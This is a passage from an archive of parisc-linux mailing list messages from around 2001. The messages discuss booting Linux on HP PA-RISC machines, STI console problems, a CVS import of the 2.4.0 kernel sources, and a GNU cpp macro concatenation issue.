NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:05 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Richard Muratti <rmurat@ibm.net>
Original-X-From: willy@www.linux.org.uk  Mon Jan  8 07:53:18 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA26137
	for <parisc-linux@puffin.external.hp.com>; Mon, 8 Jan 2001 07:53:17 -0700
Original-Received: (qmail 1540 invoked by uid 15267); 8 Jan 2001 14:56:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1527 invoked from network); 8 Jan 2001 14:56:46 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 8 Jan 2001 14:56:46 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14Fdj1-0008VU-00; Mon, 08 Jan 2001 14:56:43 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <3.0.32.20010108181437.00e52c48@pop01.ny.us.ibm.net>; from rmurat@ibm.net on Mon, Jan 08, 2001 at 06:14:34PM +1100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9117

On Mon, Jan 08, 2001 at 06:14:34PM +1100, Richard Muratti wrote:
> Hi All,
> 
> Just wondering if there are any K200 owners out there
> that have had any luck.
> 
> I've tried the 0.1 iso and all i get is
> pdc_cons die !!

this is explained in the faq.

> 0.5 iso just dies with a stack dump & 
> Kernel Fault: Code=15 regs=dfff0840

dunno about this one.  the kernel on that cd is quite out of date;
can you try compiling a new one?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steven Pritchard <steve@silug.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Any K200 Experiences Out There??
Date: Mon, 8 Jan 2001 09:20:47 -0600 (CST)
Lines: 15
Approved: news@gmane.org
Message-ID: <200101081520.f08FKla09063@osiris.silug.org>
References: <20010108145643.A32433@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619505 10035 80.91.229.3 (22 Nov 2014 01:25:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:05 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: steve@osiris.silug.org  Mon Jan  8 08:17:32 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA26407
	for <parisc-linux@puffin.external.hp.com>; Mon, 8 Jan 2001 08:17:22 -0700
Original-Received: (qmail 6448 invoked by uid 15267); 8 Jan 2001 15:20:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6431 invoked from network); 8 Jan 2001 15:20:50 -0000
Original-Received: from osiris.lanscape.net (HELO osiris.silug.org) (64.240.156.225)
  by mailserv2.iuinc.com with SMTP; 8 Jan 2001 15:20:50 -0000
Original-Received: (from steve@localhost)
	by osiris.silug.org (8.11.0/8.11.0) id f08FKla09063;
	Mon, 8 Jan 2001 09:20:47 -0600
In-Reply-To: <20010108145643.A32433@parcelfarce.linux.theplanet.co.uk>
 "from Matthew Wilcox at Jan 8, 2001 02:56:43 pm"
X-Mailer: ELM [version 2.4ME+ PL77 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:9118

Matthew Wilcox said:
> the kernel on that cd is quite out of date;
> can you try compiling a new one?

That reminds me of something I've been meaning to ask...  What all
needs to be upgraded to update to the latest CVS kernel (from the 0.5
CD)?  Is it enough to just compile a new kernel, or will glibc and
various other things need updating too?

Steve
-- 
steve@silug.org           | Southern Illinois Linux Users Group
(618)398-7320             | See web site for meeting details.
Steven Pritchard          | http://www.silug.org/


From - Thu Nov 08 21:15:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Phillip D. Beal" <pdbeal@louisville.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] STI Console on 755 and 735
Date: Mon, 8 Jan 2001 10:33:22 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <20010108103322.A79530@athena.louisville.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619505 10040 80.91.229.3 (22 Nov 2014 01:25:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:05 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pdbeal@louisville.edu  Mon Jan  8 08:30:30 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA26641
	for <parisc-linux@puffin.external.hp.com>; Mon, 8 Jan 2001 08:30:30 -0700
Original-Received: (qmail 26613 invoked by uid 15267); 8 Jan 2001 15:33:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26594 invoked from network); 8 Jan 2001 15:33:59 -0000
Original-Received: from erouter1.it-datacntr.louisville.edu (136.165.1.15)
  by mailserv2.iuinc.com with SMTP; 8 Jan 2001 15:33:58 -0000
Original-Received: from athena.louisville.edu (athena.louisville.edu [136.165.1.37])
	by erouter1.it-datacntr.louisville.edu (Postfix) with ESMTP id A684F22EA0
	for <parisc-linux@thepuffingroup.com>; Mon,  8 Jan 2001 10:33:54 -0500 (EST)
Original-Received: by athena.louisville.edu (Postfix, from userid 43478)
	id ADC09C0D; Mon,  8 Jan 2001 10:33:22 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:9119

Hey,

I've just recently compiled the CVS kernel, and the STI console doesnot
yet work.  I've been watching the mailing list and I thought I had seen
some people having success with the STI console.  When the system
atempts to run on the STI console, some of the letters from words appear
normal, (ex: INIT comes through as INIT, and most of the numbers work).
However, some of the letters come through as odd ASCII Characters.  The
CVS kernel I grabed was from 20010105, since anything after that was
either 0 bytes or was a bad gzip archive.  Does the STI console work
properly yet with the CVS kernels? or is it just getting better?

Thanks,
-- 
Phillip Beal                           ___           _               _   
Electrical and Computer Engineering   | _ ) ___ __ _| |___  _ _  ___| |_ 
pdbeal@louisville.edu                 | _ \/ -_) _` | |_ /_| ' \/ -_)  _|
http://www.bealz.net/                 |___/\___\__,_|_/__(_)_||_\___|\__|


From - Thu Nov 08 21:15:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Any K200 Experiences Out There??
Date: Mon, 8 Jan 2001 16:42:14 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <20010108164214.A7545@parcelfarce.linux.theplanet.co.uk>
References: <20010108145643.A32433@parcelfarce.linux.theplanet.co.uk> <200101081520.f08FKla09063@osiris.silug.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619505 10042 80.91.229.3 (22 Nov 2014 01:25:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:05 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@thepuffingroup.com
To: Steven Pritchard <steve@silug.org>
Original-X-From: willy@www.linux.org.uk  Mon Jan  8 09:38:55 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA27083
	for <parisc-linux@puffin.external.hp.com>; Mon, 8 Jan 2001 09:38:54 -0700
Original-Received: (qmail 9274 invoked by uid 15267); 8 Jan 2001 16:42:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9242 invoked from network); 8 Jan 2001 16:42:23 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 8 Jan 2001 16:42:23 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14FfN8-0001za-00; Mon, 08 Jan 2001 16:42:14 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200101081520.f08FKla09063@osiris.silug.org>; from steve@silug.org on Mon, Jan 08, 2001 at 09:20:47AM -0600
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9120

On Mon, Jan 08, 2001 at 09:20:47AM -0600, Steven Pritchard wrote:
> Matthew Wilcox said:
> > the kernel on that cd is quite out of date;
> > can you try compiling a new one?
> 
> That reminds me of something I've been meaning to ask...  What all
> needs to be upgraded to update to the latest CVS kernel (from the 0.5
> CD)?  Is it enough to just compile a new kernel, or will glibc and
> various other things need updating too?

the root filesystem i'm using is basically the 0.5 CD.  i managed to not
break anything with the stack changes :-)  [at least, only temporarily..]

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Roel Teuwen" <Roel.Teuwen@advalvas.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] error booting with recent cvs linux kernel
Date: Fri, 1 Jan 1999 00:12:09 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <008c01be3512$fdba96e0$0300000a@terra>
References: <978949982.3a59975e2655e@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619506 10045 80.91.229.3 (22 Nov 2014 01:25:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:06 +0000 (UTC)
Cc: <parisc-linux@thepuffingroup.com>
To: "Rule RuleR" <Rule@freegates.be>
Original-X-From: Roel.Teuwen@advalvas.be  Mon Jan  8 16:06:09 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA29751
	for <parisc-linux@puffin.external.hp.com>; Mon, 8 Jan 2001 16:06:08 -0700
Original-Received: (qmail 9748 invoked by uid 15267); 8 Jan 2001 23:09:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9741 invoked from network); 8 Jan 2001 23:09:34 -0000
Original-Received: from hercules.telenet-ops.be (HELO smtp.pandora.be) (195.130.132.33)
  by mailserv2.iuinc.com with SMTP; 8 Jan 2001 23:09:34 -0000
Original-Received: (qmail 29874 invoked from network); 8 Jan 2001 23:09:33 -0000
Original-Received: from unknown (HELO terra) ([213.224.58.111]) (envelope-sender <Roel.Teuwen@advalvas.be>)
          by hercules.telenet-ops.be (qmail-ldap-1.03) with SMTP
          for <Rule@freegates.be>; 8 Jan 2001 23:09:33 -0000
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Xref: news.gmane.org gmane.linux.ports.parisc:9121

Oops, forgot to mention, this is on a 712/60, using the 0.5 ISO for
userspace

----- Original Message -----
From: <rule@freegates.be>
To: <parisc-linux@thepuffingroup.com>
Sent: Monday, January 08, 2001 11:33 AM
Subject: [parisc-linux] error booting with recent cvs linux kernel


> Hello all,
>
> When booting a kernel, compiled from CVS update today, with CVS
> gcc/binutils/glibc/palo from CVS, I get the following error :
>
> (I use STI console, following is copied from screen)
>
> INIT: version 2.78 booting
> break 0,0: pid=9 command='rcS'
> rcS[9]: breakpoint 0
>
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001001111111100001011
> r0-3% 00000000 c02bc800 00000000 00000000
> r4-7% 00000000 00000000 00000000 00000000
> r8-11% 00000000 00000000 00000000 00000000
> r12-15% 00000000 00000000 00076808 c011ef58
> r16-19% c3c80600 c3c80000 00076808 00000001
> r20-23% c3fce860 c3fce860 00000000 c3fce840
> r24-27% c3fffd40 00001000 00000000 c024c000
> r28-31% 00000000 00000000 c3c80a00 c012a134
> sr0-3% 00000000 00000000 00000000 00000003
> sr4-7% 00000000 00000000 00000000 00000000
>
> IASQ: 00000000 00000000 IAOQ: 00000000 00000004
>  IIR: 00000000    ISR: 00000000  IOR: c3c00008
> ORIG_R28: 00000000
>
> The box boots fine with a backup kernel, compiled late december of last
year.
>
> Kind regards,
> Roel Teuwen
>
>
> -------------------------------------------------
> This mail sent through IMP: webmail.tiscalinet.be
>
> --------------------------------------------------------------------------

From - Thu Nov 08 21:15:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EVC monitor cable/adapter
Date: Fri, 05 Jan 2001 16:56:18 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20010105235618.1E37738FA9@carmen.fc.hp.com>
References: <200011302245.OAA29965@milano.cup.hp.com> 
 <3A26E541.C6A24350@linuxcare.com>  <3A565D4E.19BF04F2@fischlustig.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619506 10048 80.91.229.3 (22 Nov 2014 01:25:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:06 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Andi <andi@fischlustig.de>
Original-X-From: taggart@carmen.fc.hp.com  Mon Jan  8 19:30:37 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA30967
	for <parisc-linux@puffin.external.hp.com>; Mon, 8 Jan 2001 19:30:37 -0700
Original-Received: (qmail 29740 invoked by uid 15267); 9 Jan 2001 02:34:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29733 invoked from network); 9 Jan 2001 02:34:07 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 9 Jan 2001 02:34:07 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 75DA042D; Mon,  8 Jan 2001 21:34:06 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 1E37738FA9; Fri,  5 Jan 2001 16:56:18 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
In-Reply-To: Message from Andi <andi@fischlustig.de> 
   of "Sat, 06 Jan 2001 00:48:30 +0100." <3A565D4E.19BF04F2@fischlustig.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:9122


Andi writes...

> Hi,
> 
> i am looking for an EVC monitor cable for the EG gfxcard in my C240.
> 
> I was searching everywhere, but i failed. Anyone know how to buy such
> a cable/adapter in germany?

The one I have here is HP part # 1253-0635.

If you can't find one locally I can ship you one, as long as it's for Linux 
hacking of course :)

HTH,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation



From - Thu Nov 08 21:15:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ross Sponholtz" <rsponholtz@earthlink.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Ready to go!
Date: Sat, 29 May 1999 15:50:02 -0500
Lines: 48
Approved: news@gmane.org
Message-ID: <001c01beaa14$d4002640$5b0e070a@monorailpc>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0019_01BEA9EA.EA2FDFC0"
X-Trace: ger.gmane.org 1416619506 10053 80.91.229.3 (22 Nov 2014 01:25:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:06 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: rsponholtz@earthlink.net  Sat May 29 14:47:22 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA02894
	for <parisc-linux@puffin.external.hp.com>; Sat, 29 May 1999 14:47:22 -0600
Original-Received: (qmail 16649 invoked by uid 15267); 29 May 1999 20:46:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16642 invoked from network); 29 May 1999 20:46:47 -0000
Original-Received: from penguin.prod.itd.earthlink.net (207.217.120.134)
  by mailserv2.iuinc.com with SMTP; 29 May 1999 20:46:47 -0000
Original-Received: from monorailpc (W-417.charter-stl.com [24.217.17.163])
	by penguin.prod.itd.earthlink.net (8.9.3/8.9.3) with SMTP id NAA11770
	for <parisc-linux@thepuffingroup.com>; Sat, 29 May 1999 13:47:15 -0700 (PDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Xref: news.gmane.org gmane.linux.ports.parisc:9123

This is a multi-part message in MIME format.

------=_NextPart_000_0019_01BEA9EA.EA2FDFC0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Alright!  I finally got my HP 715.  Now I need to get started with the =
project.  I was planning on getting MkLinux going, but apparently, the =
opengroup site with the software has been taken down.  Does anyone have =
the disk image that I could ftp?  Also, is everyone booting off the =
network (for development purposes)?

thanks for your help!

Ross Sponholtz
rsponholtz@earthlink.net

------=_NextPart_000_0019_01BEA9EA.EA2FDFC0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3401" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D2>Alright!&nbsp; I finally got my HP 715.&nbsp; Now I =
need to=20
get started with the project.&nbsp; I was planning on getting MkLinux =
going, but=20
apparently, the opengroup site with the software has been taken =
down.&nbsp; Does=20
anyone have the disk image that I could ftp?&nbsp; Also, is everyone =
booting off=20
the network (for development purposes)?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>thanks for your help!</DIV>
<DIV>&nbsp;</DIV>
<DIV>Ross Sponholtz</DIV>
<DIV>rsponholtz@earthlink.net</DIV></BODY></HTML>

------=_NextPart_000_0019_01BEA9EA.EA2FDFC0--


From - Thu Nov 08 21:15:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@riverrock.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.0 Source Import
Date: Tue, 09 Jan 2001 11:33:45 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <m14G3ac-001Vp3C@chalet>
Reply-To: bame@riverrock.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619507 10059 80.91.229.3 (22 Nov 2014 01:25:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:07 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@bame.riverrock.org  Tue Jan  9 11:31:40 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA07024
	for <parisc-linux@puffin.external.hp.com>; Tue, 9 Jan 2001 11:31:39 -0700
Original-Received: (qmail 22441 invoked by uid 15267); 9 Jan 2001 18:35:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22421 invoked from network); 9 Jan 2001 18:35:03 -0000
Original-Received: from unknown (HELO chalet) (199.254.238.240)
  by mailserv2.iuinc.com with SMTP; 9 Jan 2001 18:35:03 -0000
Original-Received: from bame.riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via in.smtpd with esmtp
	id <m14G3ac-001Vp3C@chalet> (Debian Smail3.2.0.102)
	for <parisc-linux@thepuffingroup.com>; Tue, 9 Jan 2001 11:33:46 -0700 (MST) 
Errors-To: bame@riverrock.org
Original-Sender: bame@bame.riverrock.org
Xref: news.gmane.org gmane.linux.ports.parisc:9124


I've imported 2.4.0 sources into our CVS tree, safely isolated on the
vendor branch so theoretically nobody should see any changes until they
ask for them.  WE ARE NOT FOR MERGING AT THIS TIME -- it's to allow people
to use CVS (esp. cvs diff and tkdiff) to examine and prepare for what's
changed.  We are planning to merge with whatever is reasonable, which may
not be 2.4.0, around Jan 23, so consider this import only a courtesy.

If you want to see what's changed between 2.4.0test10 and 2.4.0, use
	tkdiff -rLINUS_240_TEST10 -rLINUS_240 <filename>
(or use cvs diff if you prefer).  If you want to see what a CVS
automatic merge would do, use:
	cvs update -jLINUS_240_TEST10 -jLINUS_240
on your top-of-branch tree.  PLEASE DON'T COMMIT MERGED BITS unless
you build a consensus it won't interfere with ongoing development or the
upcoming merge.

NOTE: CVS documentation suggests using a command something like
	cvs update -jlinus:yesterday -jlinus
to merge a recent import.  That WON'T WORK in our tree.


	-Paul Bame


From - Thu Nov 08 21:15:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Gnu cpp bug or feature?
Date: Tue, 9 Jan 2001 23:31:49 -0700 (MST)
Lines: 38
Approved: news@gmane.org
Message-ID: <200101100631.XAA16714@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619507 10064 80.91.229.3 (22 Nov 2014 01:25:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:07 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: jsm@udlkern.fc.hp.com  Tue Jan  9 23:29:32 2001
Original-Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id XAA11874
	for <parisc-linux@puffin.external.hp.com>; Tue, 9 Jan 2001 23:29:31 -0700
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by palrel3.hp.com (Postfix) with ESMTP id 4320B74B
	for <parisc-linux@puffin.external.hp.com>; Tue,  9 Jan 2001 22:33:03 -0800 (PST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id XAA16714 for parisc-linux@puffin.external.hp.com; Tue, 9 Jan 2001 23:31:49 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:9125


I just discovered that the gnu cpp doesn't allow * and = to be concatenated.
What I am trying to do is the following:

#ifdef __LP64__
#define ADDIB addib,*
#else
#define ADDIB addib,
#endif

I then would use the above defines throughout some assembly functions, e.g.:

    ADDIB>      -1,%r1,1b
    ADDIB=      -1,%arg3,fdoneloop

If __LP64__ is defined, the above two examples wind up expanding to:

    addib,*>    -1,%r1,1b
    addib,* =   -1,%arg3,fdoneloop

The first example expands as I would expect, but the second example winds
up being a syntax error, because it should have been expanded to:

    addib,*=    -1,%arg3,fdoneloop

Anyway, I prefer to write the code this way rather than sprinkling
#ifdef __LP64__'s throughout the code, or using two different copies
of the functions. I imagine that gnu cpp must be trying to avoid
creating the C *= operator by mistake, but I don't believe there is
any standard that requires this. I know that the above examples work
on HP-UX (not that HP-UX sets the standard).

It just seems strange to me for gnu cpp to special case this particular
sequence.  Is there a good reason for this behaviour, or is this a bug?

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:15:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?SOETE_Jo=EBl?= <JSO@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: C110 - palinux-0.5.iso boot but...
Date: Wed, 10 Jan 2001 11:43:23 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <A4A5E4C468B5D11190220001FA6835DD04DD87A8@EPIXCH003>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416619507 10066 80.91.229.3 (22 Nov 2014 01:25:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:07 +0000 (UTC)
Cc: "'parisc-linux@thepuffingroup.com'" <parisc-linux@thepuffingroup.com>
To: "'Karsten Merker'" <karsten@excalibur.cologne.de>
Original-X-From: JSO@europay.com  Wed Jan 10 03:41:53 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA13291
	for <parisc-linux@puffin.external.hp.com>; Wed, 10 Jan 2001 03:41:47 -0700
Original-Received: (qmail 532 invoked by uid 15267); 10 Jan 2001 10:44:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 519 invoked from network); 10 Jan 2001 10:44:59 -0000
Original-Received: from mail.europay.com (HELO epirel991.europay.com) (193.75.200.45)
  by mailserv2.iuinc.com with SMTP; 10 Jan 2001 10:44:59 -0000
Original-Received: from epixchims.europay.com (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592da05104ee0983@epirel991.europay.com>;
 Wed, 10 Jan 2001 11:44:19 +0100
Original-Received: by epixchims.europay.com with Internet Mail Service (5.5.2650.21)
	id <Z16L0MGF>; Wed, 10 Jan 2001 11:43:00 +0100
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:9126

Hello Karsten,

Best wishes for new millennium.

> > Regarding the problems with the console code, please also 
> > read the mail I
> > have sent to the PA-RISC mailing list this evening, 
> > eventually this will
> > help you.
> 
> I will have to test but it would be for the new millennium.
> 

Well no more success, I try again with several cvs release (last was dated
20010105) but still display some info on PDC console until "Switching from
PDC console" then if I reconnect a console to the serial port I can login
(same behavior for any model I can test C110, 712 or B180).

What I do find strange anyway: if I try CTRL+ALT+DEL on the keyboard
connected to mother board (i.e. PDC keyboard?) the awaiting reboot is well
launch (except if I apply the patch
http://puffin.external.hp.com/mailing-lists/parisc-linux/2000/12-Dec/0254.ht
ml which also display more on the PDC console but "warning can not initial
console" and go back to serial port console?)

Thanks anyway for information,
	Joel


**********************************************************************
This e-mail and any attachments to it may contain confidential information which is strictly intended for the use of the authorised recipient.  If you have received this e-mail in error, please delete it and notify the sender by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************


From - Thu Nov 08 21:15:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Gnu cpp bug or feature?
Date: Wed, 10 Jan 2001 13:50:13 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <20010110135013.B5884@parcelfarce.linux.theplanet.co.uk>
References: <200101100631.XAA16714@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619508 10073 80.91.229.3 (22 Nov 2014 01:25:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:08 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: willy@www.linux.org.uk  Wed Jan 10 07:00:06 2001
